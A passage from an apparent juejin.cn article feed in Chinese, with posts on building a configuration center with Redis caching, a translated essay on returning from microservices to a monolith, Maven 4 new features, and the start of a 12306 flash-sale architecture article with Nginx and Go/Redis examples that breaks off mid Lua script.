- 所属模块:系统配置
- 配置名称:默认语言
- 配置 Key:
default_language - 输入类型:下拉选择
- 默认值:
zh - 参数说明:
中文-zh|英文-en|日文-jp - 描述:系统默认语言,决定用户首次进入时的显示语言
- 排序值:0
- 是否启用:是
注意参数说明的格式:
每个选项写成“名称-值”,多个选项用 | 隔开,比如:
中文-zh|英文-en|日文-jp
我们可以随意扩展选项,只要格式统一就行。

类型四:单选按钮(radio)
适用场景:
单选按钮适合那种选项数量不多、用户希望“一眼看清楚当前选的是啥”的配置,比如:
- 登录方式:密码 / 验证码 / 三方授权
- 首页布局:列表 / 瀑布流
- 推送等级:重要 / 普通 / 弱提示
相比下拉,单选按钮更直接,不用点一下再展开,适合管理后台中高频使用的布尔或枚举项
示例配置:登录方式选择
假设我们想设置一个登录方式的配置:
- 所属模块:系统配置
- 配置名称:登录方式
- 配置 Key:
login_method - 输入类型:单选按钮
- 默认值:
pwd - 参数说明:
密码登录-pwd|验证码登录-code|三方授权-oauth - 描述:控制用户使用哪种方式登录
- 排序值:0
- 是否启用:是
参数说明格式:
和下拉一样,用 名称-值 的格式写选项,多个用 | 分隔:
密码登录-pwd|验证码登录-code|三方授权-oauth

类型五:开关(switch)
适用场景:
布尔型逻辑的最爱!
只要我们有 “开关类” 配置,比如:
- 是否开启 AI 推荐功能
- 是否启用登录验证码
- 是否允许用户取消订单
- 是否开启调试日志打印
这些“启用 / 禁用”型的业务控制,都可以直接用开关来配置,后台切换一次立即生效,不用发版,非常方便。
示例配置:启用登录验证码
这次我们来添加一个“是否启用图片验证码”的配置:
- 所属模块:系统配置
- 配置名称:启用图片验证码
- 配置 Key:
login_captcha_enabled - 输入类型:开关
- 默认值:
1(1 表示启用,0 表示关闭) - 参数说明:留空(开关类型不需要)
- 描述:是否对用户登录行为开启图形验证码验证
- 排序值:0
- 是否启用:是

这类配置用处非常多,一些 灰度开关、紧急兜底、临时下线功能 都可以通过这个来做,非常适合给非技术人员使用。
类型六:多选框(checkbox)
适用场景:
当我们希望用户可以勾选多个选项时,单选就不够用了,比如:
- 消息推送支持的渠道:短信 / App / 微信 / 邮件
- 用户允许绑定的第三方平台:微信 / QQ / 微博
- 内容推荐的标签:热门 / 最新 / AI / 精选
多选框让这些“可以组合”的配置变得灵活,谁要开就勾谁,要多选就多选,不受限制。
示例配置:允许的推送渠道
我们来配置一个「支持的消息推送渠道」:
- 所属模块:系统配置
- 配置名称:推送渠道
- 配置 Key:
push_channels - 输入类型:多选框
- 默认值:
app,wechat(多个值用英文逗号隔开) - 参数说明:
短信-sms|App-app|微信-wechat|邮件-mail - 描述:平台支持的推送方式,可多选
- 排序值:0
- 是否启用:是

参数说明格式 & 默认值说明
- 参数格式:
展示文本-值用|分隔
短信-sms|App-app|微信-wechat|邮件-mail
- 默认值:用英文逗号
,隔开多个值,必须是参数里定义过的值
app,wechat
配置项列表展示效果(后台页面)
配置添加完以后,在后台配置中心的列表中展示是这样:

每一项都根据类型展示了不同的 UI 组件,页面清晰、可读、可点、可编辑,操作起来一目了然。
而我们的数据库记录示例(config 表)存储为这样的:

每条记录都绑定了模块 ID(这里都挂在“系统配置”模块下),并且通过 input_type 字段区分了类型,param 字段为配置项的结构补充说明(下拉/单选/多选专用),desc 字段用于给配置者提示用途。
至于页面上的 UI 展示逻辑、预览区域怎么动态渲染、后端接口怎么接收和保存这些配置,我这边就不展开一一举例了。
说到底,这套配置中心的重点不是“多高级的交互”,而是“足够简单、稳定、好用”,让我们能快速落地配置项、快速修改参数,而不是天天写死在代码里改个值还要发版。
给产品和运营用的“安全编辑页”
配置项都建好了,页面也能预览,那产品和运营想调参数的时候,是直接去编辑配置项吗?
当然不能。
你想啊,运营只是想把推荐数从 100 调成 50,结果点到 key 了,把 recommend_range 改成 recommend_rang,那后端一拿不到值,整个推荐系统直接罢工了。
所以我们专门做了一套“参数调整页”,就像上图这样的界面,产品和运营只需要点点选项、输个值、开个关,完全不用接触 key 和底层结构,修改也更安全。
这个页面其实是对配置项的“业务层封装”——模块和配置项的创建,还是需要研发来做的。因为只有开发才能知道每个 key 该怎么在代码里接,哪些是支持实时生效的,哪些改了之后要重启服务,业务逻辑怎么走,这些都不是运营自己能处理的。
换句话说:
- 配置项创建时,研发定义 key + 类型 + 默认值 + 参数说明。
- 产品和运营后续修改时,只改值,不动结构,不容易出错。
那我们既然添加了配置项之后,下一步就是把它展示出来,让运营和产品能方便地修改配置、实时查看效果。
我们设计了一个专门的页面,用来承载这些配置项的「操作界面」。页面整体是按模块分 tab 展开的,每个模块下展示自己对应的配置项,表单类型跟配置项定义时保持一致,比如输入框、开关、下拉、多选等一应俱全。
如下图所示,就是我们系统初版配置模块下的实际页面效果:

当然如果某个模块配置太多我们也可以切换为纵向展示:

从上图我们可以看到:
- 每个配置项都有自己的「说明文案」,方便使用者理解配置含义;
- 类型化配置项有明确的 UI 控件,比如「每日推荐数量范围」就是滑动条;
- 实时编辑,保存即生效(根据配置项定义的类型和读取方式);
- 页面左上角还能切换模块,快速定位。
这个页面是专门为非技术人员设计的,不需要他们懂 key 是什么,也不用关心类型怎么定义,他们只管调值就行了,一切都变得可控又安全。
有了这个配置页之后,产品和运营基本上就能脱离研发,自主修改参数了。接下来我们来聊聊配置值在后端是怎么被接入的。
配置中心只是“存”,真正怎么“用”还得看后端
配置中心做得再强大,最终目的还是要服务业务逻辑。
页面上填的那些 key 和 value 并不是为了好看,它们必须在后端代码里“用起来”,才算真正落地。
那后端是怎么接这些配置的呢?其实就两件事:
- 读取配置值
- 根据 key 做对应逻辑处理
比如我们在后台新增了一个配置项:
key: enable_google_auth
value: 1
表示用户登录时是否开启 Google 验证。那后端代码里就可能是这样写的:
func ShouldUseGoogleAuth() bool {
val := configService.Get("enable_google_auth")
return val == "1"
}
而且每次新建一个配置项,一定要先让开发把读取逻辑写好,配置才能真正生效。不然页面配得再漂亮,后端代码不接,等于白改。
因此,我们建议配置项的新增一定要有“二次审核”机制——业务逻辑没走通之前,别急着让配置项上线。
配置读取:要读得快,还要改得稳
我们虽然只是做了一个小小的配置中心,但依旧严格遵守几个“配置铁律”:
| 原则 | 含义 |
|---|---|
| 读快写稳 | 配置是读多写少,必须优先保障读取性能 |
| 缓存兜底 | 数据库抗不了高并发,缓存必须做主力 |
| 更新可控 | 配置改动要支持热更新,不能等发版 |
| 不信网络 | 避免每次都走 RPC / HTTP,配置必须能“本地感知” |
所以我们最后的设计是:
所有配置值都先读 Redis,Redis 没有再查数据库,查出来的值再写回 Redis。
我们可以简单封装了一个方法来统一读取配置:
func (s *ConfigService) Get(key string) string {
val, err := redisClient.Get(ctx, "config:"+key).Result()
if err == redis.Nil {
val = db.GetConfigFromDB(key)
redisClient.Set(ctx, "config:"+key, val, time.Hour) // 缓存 1 小时
}
return val
}
这样做的好处:
- 性能好:Redis 读取速度快,尤其适合配置这种读多写少的场景;
- 调用方便:业务方不需要知道配置在哪,直接调
configService.Get(); - 支持热更新:后台一改配置,Redis 一更新,后端逻辑立刻用上新的值。
配置改错了怎么办?我们加了「刷新机制」来兜底
想象一下,有个产品小哥在后台把短信通道从 A 改成了 B,然后 Redis 秒同步,结果是 B 接口根本没打通……
“线上短信全挂了”+“谁改的都不知道”+“运营拉着技术去机房单挑”
这事我们也不是没经历过。
为了防止“手滑即事故”,我们可以引入了 配置刷新机制。
也就是说,后台页面改配置只是“提交更新”,真正生效得靠一个“刷新动作” 。
我们可以设计一种配置刷新方案:保存 ≠ 生效,需要“手动刷新”才能同步
比如我们之前初版采用的模式,更保险一些:
- 后台页面改配置,只写入数据库,不同步 Redis;
- 系统标记这个配置为“待刷新”;
- 产品或运营点“刷新”按钮,才真正写入 Redis;
- 同步操作记录 & 通知消息,方便追踪。
优点是:
- 不怕误操作,有一步确认机会;
- 可接入审批流程;
- 所有操作都有记录,排查问题不含糊。
当然我们也可以设计一个“刷新 API”:
POST /api/config/refresh?key=xxx
POST /api/config/refresh_all
支持单个或批量刷新,用于后台管理或开发联调。
安全兜底机制
除了“刷新机制”,我们还需要做几件事:
| 功能 | 说明 |
|---|---|
| 操作记录 | 谁改了什么,啥时候改的,值变了多少 |
| 修改通知 | 配置一改,系统自动发钉钉提醒相关同事 |
| 关键配置加锁 | 比如短信、支付相关配置默认加锁,解锁需审批 |
| 限制字段编辑 | 页面上只能改 value,不允许改 key,防止配置失效 |
总的来说呢,配置中心不是“你点保存我就给你改”,而是一个受控的配置发布系统。
读得快、改得稳、改完能溯源、有通知有审计——这才是一个靠谱的配置中心。
最后的碎碎念
说实话,这套配置中心,说难也不难,说重要吧,也不是业务核心。
但对我们来说,真的很刚需。纯粹就是日常工作中被“配置这点事儿”折磨太久了。 尤其是对业务开发流程不规范的公司来说。
以前在小公司,改个配置就得发版,发版就有几率中奖,一不小心就全服出事。久了大家都怕动,连产品都不敢随便提需求,说白了就是被流程和风险绑住手脚。
后来我们才想明白,像“推荐数量改一下”“开关先关一阵看看效果”这种,完全没必要动代码、改逻辑、走上线流程。给他们一个地方自己调就好了嘛。
所以这套配置中心,说不上啥高级架构,也不是啥大厂必备,但就是解决了我们日常那些“看起来不重要但天天遇到”的小问题。
业务推进更顺了,产品改需求也不再靠嘴说,技术也不用动不动上线连夜发包。这不比啥都强?
更多架构实战、工程化经验和踩坑复盘,我会在公众号 「洛卡卡了」 持续更新。
如果内容对你有帮助,欢迎关注我,我们一起每天学一点,一起进步。
来源:juejin.cn/post/7534632857504989238
微服务正在悄然消亡:这是一件美好的事
最近在做的事情正好需要系统地研究微服务与单体架构的取舍与演进。读到这篇文章《Microservices Are Quietly Dying — And It’s Beautiful》,许多观点直击痛点、非常启发,于是我顺手把它翻译出来,分享给大家,也希望能给同样在复杂性与效率之间权衡的团队一些参考。
微服务正在悄然消亡:这是一件美好的事
为了把我们的创业产品扩展到数百万用户,我们搭建了 47 个微服务。
用户从未达到一百万,但我们达到了每月 23,000 美元的 AWS 账单、长达 14 小时的故障,以及一个再也无法高效交付新功能的团队。
那一刻我才意识到:我们并没有在构建产品,而是在搭建一座分布式的自恋纪念碑。

我们都信过的谎言
五年前,微服务几乎是教条。Netflix 用它,Uber 用它。每一场技术大会、每一篇 Medium 文章、每一位资深架构师都在高喊同一句话:单体不具备可扩展性,微服务才是答案。
于是我们照做了。我们把 Rails 单体拆成一个个服务:用户服务、认证服务、支付服务、通知服务、分析服务、邮件服务;然后是子服务,再然后是调用服务的服务,层层套叠。
到第六个月,我们已经在 12 个 GitHub 仓库里维护 47 个服务。我们的部署流水线像一张地铁图,架构图需要 4K 显示器才能看清。
当“最佳实践”变成“最差实践”
我们不断告诫自己:一切都在运转。我们有 Kubernetes,有服务网格,有用 Jaeger 的分布式追踪,有 ELK 的日志——我们很“现代”。
但那些光鲜的微服务文章从不提的一点是:分布式的隐性税。
每一个新功能都变成跨团队的协商。想给用户资料加一个字段?那意味着要改五个服务、提三个 PR、协调两周,并进行一次像劫案电影一样精心编排的数据库迁移。
我们的预发布环境成本甚至高于生产环境,因为想测试任何东西,都需要把一切都跑起来。47 个服务在 Docker Compose 里同时启动,内存被疯狂吞噬。
那个彻夜崩溃的夜晚
凌晨 2:47,Slack 被消息炸翻。
生产环境宕了。不是某一个服务——是所有服务。支付服务连不上用户服务,通知服务不断超时,API 网关对每个请求都返回 503。
我打开分布式追踪面板:一万五千个 span,全线飘红。瀑布图像抽象艺术。我花了 40 分钟才定位出故障起点。
结果呢?一位初级开发在认证服务上发布了一个配置变更,只是一个环境变量。它让令牌校验多了 2 秒延迟,这个延迟在 11 个下游服务间层层传递,超时叠加、断路器触发、重试逻辑制造请求风暴,整个系统在自身重量下轰然倒塌。
我们搭了一座纸牌屋,却称之为“容错架构”。
我们花了六个小时才修复。并不是因为 bug 复杂——它只是一个配置的单行改动,而是因为排查分布式系统就像破获一桩谋杀案:每个目击者说着不同的语言,而且有一半在撒谎。
那个被忽略的低语
一周后,在复盘会上,我们的 CTO 说了句让所有人不自在的话:
“要不我们……回去?”
回到单体。回到一个仓库。回到简单。
会议室一片沉默。你能感到认知失调。我们是工程师,我们很“高级”。单体是给传统公司和训练营毕业生用的,不是给一家正打造未来的 A 轮初创公司用的。
但随后有人把指标展开:平均恢复时间 4.2 小时;部署频率每周 2.3 次(从单体时代的每周 12 次一路下滑);云成本增长速度比营收快 40%。
数字不会说谎。是架构在拖垮我们。
美丽的回归
我们用了三个月做整合。47 个服务归并成一个模块划分清晰的 Rails 应用;Kubernetes 变成负载均衡后面的三台 EC2;12 个仓库的工作流收敛成一个边界明确的仓库。
结果简直让人尴尬。
部署时间从 25 分钟降到 90 秒;AWS 账单从 23,000 美元降到 3,800 美元;P95 延迟提升了 60%,因为我们消除了 80% 的网络调用。更重要的是——我们又开始按时交付功能了。
开发者不再说“我需要和三个团队协调”,而是开始说“午饭前给你”。
我们的“分布式系统”变回了结构良好的应用。边界上下文变成 Rails 引擎,服务调用变成方法调用,Kafka 变成后台任务,“编排层”……就是 Rails 控制器。
它更快,它更省,它更好。
我们真正学到的是什么
这是真相:我们为此付出两年时间和 40 万美元才领悟——
微服务不是一种纯粹的架构模式,而是一种组织模式。Netflix 需要它,因为他们有 200 个团队。你没有。Uber 需要它,因为他们一天发布 4,000 次。你没有。
复杂性之所以诱人,是因为它看起来像进步。 拥有 47 个服务、Kubernetes、服务网格和分布式追踪,看起来很“专业”;而一个单体加一套 Postgres,看起来很“业余”。
但复杂性是一种税。它以认知负担、运营开销、开发者幸福感和交付速度为代价。
而大多数初创公司根本付不起这笔税。
我们花了两年时间为并不存在的规模做优化,同时牺牲了能让我们真正达到规模的简单性。
你不需要 50 个微服务,你需要的是自律
软件架构的“肮脏秘密”是:好的设计在任何规模都奏效。
一个结构良好的单体,拥有清晰的模块、明确的边界上下文和合理的关注点分离,比一团由希望和 YAML 勉强粘合在一起的微服务乱麻走得更远。
微服务并不是因为“糟糕”而式微,而是因为我们出于错误的理由使用了它。我们选择了分布式的复杂性而不是本地的自律,选择了运营的负担而不是价值的交付。
那些悄悄回归单体的公司并非承认失败,而是在承认更难的事实:我们一直在解决错误的问题。
所以我想问一个问题:你构建微服务,是在逃避什么?
如果答案是“一个凌乱的代码库”,那我有个坏消息——分布式系统不会修好坏代码,它只会让问题更难被发现。
来源:juejin.cn/post/7563860666349649970
Maven 4 终于快来了,新特性很香!
大家好,我是 Guide!在 Java 生态中,Maven 绝对是大家每天都要打交道的“老朋友”。
InterviewGuide 这个开源 AI 项目中,我使用了 Gradle。不过,根据大家的反馈来看还是更愿意使用 Maven 一些。

目前(2026 年 1 月)Maven 4.0 仍处于 Release Candidate 阶段,最新版本为 4.0.0-rc-5(2025 年 11 月 08 日发布),尚未正式 GA(General Availability)。

虽然目前 Maven 4 还处于 Release Candidate(RC)阶段,但它展现出来的特性足以让我们这些长期被 Maven 3 “历史债”折磨的开发者感到兴奋。
一句话总结:Maven 4 要求最低 Java 17 运行环境,通过分离构建与消费模型、树形生命周期等黑科技,彻底告别了臃肿且难以维护的 POM。
下面简单介绍一下 Maven 4 的最重要新特性(基于官方文档和发布记录):
Build POM 与 Consumer POM 的分离
这是 Maven 4 解决的最大痛点。在 Maven 3 时代,你发布的 pom.xml 既要管“怎么构建”,又要管“别人怎么依赖”,导致发布的元数据极其臃肿,甚至带有大量的 profile 和本地路径。
Maven 4 解决方案:
- Build POM:这就是你本地编辑的
pom.xml(模型升级至 4.1.0)。它包含所有的构建细节,比如插件配置、私有 profile 等。 - Consumer POM:当你执行
deploy时,Maven 4 会自动生成一个“纯净版”的pom.xml(固定为 4.0.0 模型)。它去掉了所有插件、build 逻辑和 parent 继承关系,仅保留 GAV 坐标和核心依赖。

默认关闭 ,需显式开启:
mvn deploy -Dmaven.consumer.pom.flatten=true
或在项目根 .mvn/maven-user.properties 中永久配置:
maven.consumer.pom.flatten=true
这样的话,发布的 artifact 更干净,依赖解析更快,生态(Gradle、sbt、IDE、Sonatype 等)兼容性更好,无需再依赖 flatten-maven-plugin 等 hack 方案。

POM 模型升级到 4.1.0 + 多项简化语法
Maven 4 引入了全新的命名空间(**maven.apache.org/POM/4.1.0**…
1. 自动发现子项目
- 新标签
<subprojects>:正式取代了容易产生术语混淆的<modules>(标记为 deprecated)。 - 隐式发现 :如果父项目
packaging=pom且没有声明子项目,Maven 4 会自动扫描包含pom.xml的直接子目录。再也不用手动一行行写子模块名了!
2. 坐标推断(Inference)
在 <parent> 中,如果你按默认路径放置项目,可以省略 version、groupId 甚至整个坐标。Maven 会自动从相对路径推断父 POM 坐标。
3. CI 友好变量原生支持
${revision}、${sha1} 等变量现在是原生一等公民,不需要再写 hack 插件就能直接在命令行定义版本。
构建性能:从线性生命周期到树形并发
Maven 3 的生命周期是线性的,这意味着如果你的项目很大,构建过程就像“老牛拉破车”。
1. 树形生命周期与钩子
Maven 4 将生命周期升级为树形结构,并引入了 before:xxx 和 after:xxx 阶段。你可以更精准地在每个阶段前后绑定插件。
默认还是 Maven 3 时代的线性行为(向后兼容)。
要真正用上树形 + 更细粒度并发,必须显式加参数 -b concurrent(或 --builder concurrent)。
2. 并发构建器 (-b concurrent)
传统的并发构建往往受限于父子依赖。Maven 4 的并发构建器只要依赖模块进入 “Ready” 状态就会立即开跑,不再傻等父模块完成所有阶段。
开发者体验优化
1. 构建恢复 (-r / --resume)
大型项目构建到 90% 挂了?在 Maven 4 里直接 -r 即可从失败处继续,自动跳过已成功的模块。这简直是多模块项目的“救命稻草”。
2. 延迟发布 (deployAtEnd 默认开启)
为了防止出现“半成品”发布(一部分模块发了,另一部分报错没发),Maven 4 默认会在所有模块全部构建成功后才进行最后的统一发布。

3. 官方迁移助手 (mvnup)
担心升级出问题?官方直接给了 mvnup 工具,自动扫描并建议如何将你的 3.x 项目迁移到 4.1.0 模型。

现在该升级吗?
- 生产环境:由于目前还在 RC 阶段,且最低要求 Java 17,建议观望,等正式 GA 之后再小范围灰度。
- 新项目/个人实验:强烈建议开启 POM 4.1.0 进行尝试。特别是 Build/Consumer POM 的分离,能让你的项目元数据管理水平提升一个档次。
- 大厂多模块项目:如果你深陷“Maven 构建慢、POM 维护难”的泥潭,Maven 4 的并发构建和自动子项目发现正是你需要的解药。
面对 Maven 二十年来最大的变动,你最期待哪个功能?或者你已经转向了 Gradle?欢迎在评论区留言,我们一起“对齐”一下!
相关地址:
- Maven 发布记录:maven.apache.org/ref/
- 迁移到 Maven4:maven.apache.org/guides/mini…
- Maven4 介绍:maven.apache.org/whatsnewinm…
来源:juejin.cn/post/7595527937832157238
从一个程序员的角度告诉你:“12306”有多牛逼?
每到节假日期间,一二线城市返乡、外出游玩的人们几乎都面临着一个问题:抢火车票!
12306 抢票,极限并发带来的思考
虽然现在大多数情况下都能订到票,但是放票瞬间即无票的场景,相信大家都深有体会。
尤其是春节期间,大家不仅使用 12306,还会考虑“智行”和其他的抢票软件,全国上下几亿人在这段时间都在抢票。
“12306 服务”承受着这个世界上任何秒杀系统都无法超越的 QPS,上百万的并发再正常不过了!
笔者专门研究了一下“12306”的服务端架构,学习到了其系统设计上很多亮点,在这里和大家分享一下并模拟一个例子:如何在 100 万人同时抢 1 万张火车票时,系统提供正常、稳定的服务。
Github代码地址:
https://github.com/GuoZhaoran/spikeSystem
大型高并发系统架构
高并发的系统架构都会采用分布式集群部署,服务上层有着层层负载均衡,并提供各种容灾手段(双火机房、节点容错、服务器灾备等)保证系统的高可用,流量也会根据不同的负载能力和配置策略均衡到不同的服务器上。
下边是一个简单的示意图:

负载均衡简介
上图中描述了用户请求到服务器经历了三层的负载均衡,下边分别简单介绍一下这三种负载均衡。
①OSPF(开放式最短链路优先)是一个内部网关协议(Interior Gateway Protocol,简称 IGP)
OSPF 通过路由器之间通告网络接口的状态来建立链路状态数据库,生成最短路径树,OSPF 会自动计算路由接口上的 Cost 值,但也可以通过手工指定该接口的 Cost 值,手工指定的优先于自动计算的值。
OSPF 计算的 Cost,同样是和接口带宽成反比,带宽越高,Cost 值越小。到达目标相同 Cost 值的路径,可以执行负载均衡,最多 6 条链路同时执行负载均衡。
②LVS (Linux Virtual Server)
它是一种集群(Cluster)技术,采用 IP 负载均衡技术和基于内容请求分发技术。
调度器具有很好的吞吐率,将请求均衡地转移到不同的服务器上执行,且调度器自动屏蔽掉服务器的故障,从而将一组服务器构成一个高性能的、高可用的虚拟服务器。
③Nginx
想必大家都很熟悉了,是一款非常高性能的 HTTP 代理/反向代理服务器,服务开发中也经常使用它来做负载均衡。
Nginx 实现负载均衡的方式主要有三种:
- 轮询
- 加权轮询
- IP Hash 轮询
下面我们就针对 Nginx 的加权轮询做专门的配置和测试。
Nginx 加权轮询的演示
Nginx 实现负载均衡通过 Upstream 模块实现,其中加权轮询的配置是可以给相关的服务加上一个权重值,配置的时候可能根据服务器的性能、负载能力设置相应的负载。
下面是一个加权轮询负载的配置,我将在本地的监听 3001-3004 端口,分别配置 1,2,3,4 的权重:
#配置负载均衡
upstream load_rule {
server 127.0.0.1:3001 weight=1;
server 127.0.0.1:3002 weight=2;
server 127.0.0.1:3003 weight=3;
server 127.0.0.1:3004 weight=4;
}
...
server {
listen 80;
server_name load_balance.com http://www.load_balance.com;
location / {
proxy_pass http://load_rule;
}
}
我在本地 /etc/hosts 目录下配置了 http://www.load_balance.com 的虚拟域名地址。
接下来使用 Go 语言开启四个 HTTP 端口监听服务,下面是监听在 3001 端口的 Go 程序,其他几个只需要修改端口即可:
package main
import (
"net/http"
"os"
"strings"
)
func main() {
http.HandleFunc("/buy/ticket", handleReq)
http.ListenAndServe(":3001", nil)
}
//处理请求函数,根据请求将响应结果信息写入日志
func handleReq(w http.ResponseWriter, r *http.Request) {
failedMsg := "handle in port:"
writeLog(failedMsg, "./stat.log")
}
//写入日志
func writeLog(msg string, logPath string) {
fd, _ := os.OpenFile(logPath, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0644)
defer fd.Close()
content := strings.Join([]string{msg, "\r\n"}, "3001")
buf := []byte(content)
fd.Write(buf)
}
我将请求的端口日志信息写到了 ./stat.log 文件当中,然后使用 AB 压测工具做压测:
ab -n 1000 -c 100 http://www.load_balance.com/buy/ticket
统计日志中的结果,3001-3004 端口分别得到了 100、200、300、400 的请求量。
这和我在 Nginx 中配置的权重占比很好的吻合在了一起,并且负载后的流量非常的均匀、随机。
具体的实现大家可以参考 Nginx 的 Upsteam 模块实现源码,这里推荐一篇文章《Nginx 中 Upstream 机制的负载均衡》:
https://www.kancloud.cn/digest/understandingnginx/202607
秒杀抢购系统选型
回到我们最初提到的问题中来:火车票秒杀系统如何在高并发情况下提供正常、稳定的服务呢?
从上面的介绍我们知道用户秒杀流量通过层层的负载均衡,均匀到了不同的服务器上,即使如此,集群中的单机所承受的 QPS 也是非常高的。如何将单机性能优化到极致呢?
要解决这个问题,我们就要想明白一件事: 通常订票系统要处理生成订单、减扣库存、用户支付这三个基本的阶段。
我们系统要做的事情是要保证火车票订单不超卖、不少卖,每张售卖的车票都必须支付才有效,还要保证系统承受极高的并发。
这三个阶段的先后顺序该怎么分配才更加合理呢?我们来分析一下:
下单减库存
当用户并发请求到达服务端时,首先创建订单,然后扣除库存,等待用户支付。
这种顺序是我们一般人首先会想到的解决方案,这种情况下也能保证订单不会超卖,因为创建订单之后就会减库存,这是一个原子操作。
但是这样也会产生一些问题:
- 在极限并发情况下,任何一个内存操作的细节都至关影响性能,尤其像创建订单这种逻辑,一般都需要存储到磁盘数据库的,对数据库的压力是可想而知的。
- 如果用户存在恶意下单的情况,只下单不支付这样库存就会变少,会少卖很多订单,虽然服务端可以限制 IP 和用户的购买订单数量,这也不算是一个好方法。
支付减库存

如果等待用户支付了订单在减库存,第一感觉就是不会少卖。但是这是并发架构的大忌,因为在极限并发情况下,用户可能会创建很多订单。
当库存减为零的时候很多用户发现抢到的订单支付不了了,这也就是所谓的“超卖”。也不能避免并发操作数据库磁盘 IO。
预扣库存

从上边两种方案的考虑,我们可以得出结论:只要创建订单,就要频繁操作数据库 IO。
那么有没有一种不需要直接操作数据库 IO 的方案呢,这就是预扣库存。先扣除了库存,保证不超卖,然后异步生成用户订单,这样响应给用户的速度就会快很多;那么怎么保证不少卖呢?用户拿到了订单,不支付怎么办?
我们都知道现在订单都有有效期,比如说用户五分钟内不支付,订单就失效了,订单一旦失效,就会加入新的库存,这也是现在很多网上零售企业保证商品不少卖采用的方案。
订单的生成是异步的,一般都会放到 MQ、Kafka 这样的即时消费队列中处理,订单量比较少的情况下,生成订单非常快,用户几乎不用排队。
扣库存的艺术
从上面的分析可知,显然预扣库存的方案最合理。我们进一步分析扣库存的细节,这里还有很大的优化空间,库存存在哪里?怎样保证高并发下,正确的扣库存,还能快速的响应用户请求?
在单机低并发情况下,我们实现扣库存通常是这样的:

为了保证扣库存和生成订单的原子性,需要采用事务处理,然后取库存判断、减库存,最后提交事务,整个流程有很多 IO,对数据库的操作又是阻塞的。
这种方式根本不适合高并发的秒杀系统。接下来我们对单机扣库存的方案做优化:本地扣库存。
我们把一定的库存量分配到本地机器,直接在内存中减库存,然后按照之前的逻辑异步创建订单。
改进过之后的单机系统是这样的:

这样就避免了对数据库频繁的 IO 操作,只在内存中做运算,极大的提高了单机抗并发的能力。
但是百万的用户请求量单机是无论如何也抗不住的,虽然 Nginx 处理网络请求使用 Epoll 模型,c10k 的问题在业界早已得到了解决。
但是 Linux 系统下,一切资源皆文件,网络请求也是这样,大量的文件描述符会使操作系统瞬间失去响应。
上面我们提到了 Nginx 的加权均衡策略,我们不妨假设将 100W 的用户请求量平均均衡到 100 台服务器上,这样单机所承受的并发量就小了很多。
然后我们每台机器本地库存 100 张火车票,100 台服务器上的总库存还是 1 万,这样保证了库存订单不超卖,下面是我们描述的集群架构:
问题接踵而至,在高并发情况下,现在我们还无法保证系统的高可用,假如这 100 台服务器上有两三台机器因为扛不住并发的流量或者其他的原因宕机了。那么这些服务器上的订单就卖不出去了,这就造成了订单的少卖。
要解决这个问题,我们需要对总订单量做统一的管理,这就是接下来的容错方案。服务器不仅要在本地减库存,另外要远程统一减库存。
有了远程统一减库存的操作,我们就可以根据机器负载情况,为每台机器分配一些多余的“Buffer 库存”用来防止机器中有机器宕机的情况。
我们结合下面架构图具体分析一下:

我们采用 Redis 存储统一库存,因为 Redis 的性能非常高,号称单机 QPS 能抗 10W 的并发。
在本地减库存以后,如果本地有订单,我们再去请求 Redis 远程减库存,本地减库存和远程减库存都成功了,才返回给用户抢票成功的提示,这样也能有效的保证订单不会超卖。
当机器中有机器宕机时,因为每个机器上有预留的 Buffer 余票,所以宕机机器上的余票依然能够在其他机器上得到弥补,保证了不少卖。
Buffer 余票设置多少合适呢,理论上 Buffer 设置的越多,系统容忍宕机的机器数量就越多,但是 Buffer 设置的太大也会对 Redis 造成一定的影响。
虽然 Redis 内存数据库抗并发能力非常高,请求依然会走一次网络 IO,其实抢票过程中对 Redis 的请求次数是本地库存和 Buffer 库存的总量。
因为当本地库存不足时,系统直接返回用户“已售罄”的信息提示,就不会再走统一扣库存的逻辑。
这在一定程度上也避免了巨大的网络请求量把 Redis 压跨,所以 Buffer 值设置多少,需要架构师对系统的负载能力做认真的考量。
代码演示
Go 语言原生为并发设计,我采用 Go 语言给大家演示一下单机抢票的具体流程。
初始化工作
Go 包中的 Init 函数先于 Main 函数执行,在这个阶段主要做一些准备性工作。
我们系统需要做的准备工作有:初始化本地库存、初始化远程 Redis 存储统一库存的 Hash 键值、初始化 Redis 连接池。
另外还需要初始化一个大小为 1 的 Int 类型 Chan,目的是实现分布式锁的功能。
也可以直接使用读写锁或者使用 Redis 等其他的方式避免资源竞争,但使用 Channel 更加高效,这就是 Go 语言的哲学:不要通过共享内存来通信,而要通过通信来共享内存。
Redis 库使用的是 Redigo,下面是代码实现:
...
//localSpike包结构体定义
package localSpike
type LocalSpike struct {
LocalInStock int64
LocalSalesVolume int64
}
...
//remoteSpike对hash结构的定义和redis连接池
package remoteSpike
//远程订单存储健值
type RemoteSpikeKeys struct {
SpikeOrderHashKey string //redis中秒杀订单hash结构key
TotalInventoryKey string //hash结构中总订单库存key
QuantityOfOrderKey string //hash结构中已有订单数量key
}
//初始化redis连接池
func NewPool() *redis.Pool {
return &redis.Pool{
MaxIdle: 10000,
MaxActive: 12000, // max number of connections
Dial: func() (redis.Conn, error) {
c, err := redis.Dial("tcp", ":6379")
if err != nil {
panic(err.Error())
}
return c, err
},
}
}
...
func init() {
localSpike = localSpike2.LocalSpike{
LocalInStock: 150,
LocalSalesVolume: 0,
}
remoteSpike = remoteSpike2.RemoteSpikeKeys{
SpikeOrderHashKey: "ticket_hash_key",
TotalInventoryKey: "ticket_total_nums",
QuantityOfOrderKey: "ticket_sold_nums",
}
redisPool = remoteSpike2.NewPool()
done = make(chanint, 1)
done <- 1
}
本地扣库存和统一扣库存
本地扣库存逻辑非常简单,用户请求过来,添加销量,然后对比销量是否大于本地库存,返回 Bool 值:
package localSpike
//本地扣库存,返回bool值
func (spike *LocalSpike) LocalDeductionStock() bool{
spike.LocalSalesVolume = spike.LocalSalesVolume + 1
return spike.LocalSalesVolume < spike.LocalInStock
}
注意这里对共享数据 LocalSalesVolume 的操作是要使用锁来实现的,但是因为本地扣库存和统一扣库存是一个原子性操作,所以在最上层使用 Channel 来实现,这块后边会讲。
统一扣库存操作 Redis,因为 Redis 是单线程的,而我们要实现从中取数据,写数据并计算一些列步骤,我们要配合 Lua 脚本打包命令,保证操作的原子性:
package remoteSpike
......
const LuaScript = `
local ticket_key = KEYS[1]
local ticket_total_key = ARGV[1]
local ticket_sold_key = ARGV[2]
local ticket_total_nums = tonumber(redis.call('HGET', ticket_key, ticket_total_key))
local ticket_sold_nums = tonumber(redis.call('HGET', ticket_key, ticket_sold_key))
-- 查看是否还有余票,增加订单数量,返回结果值
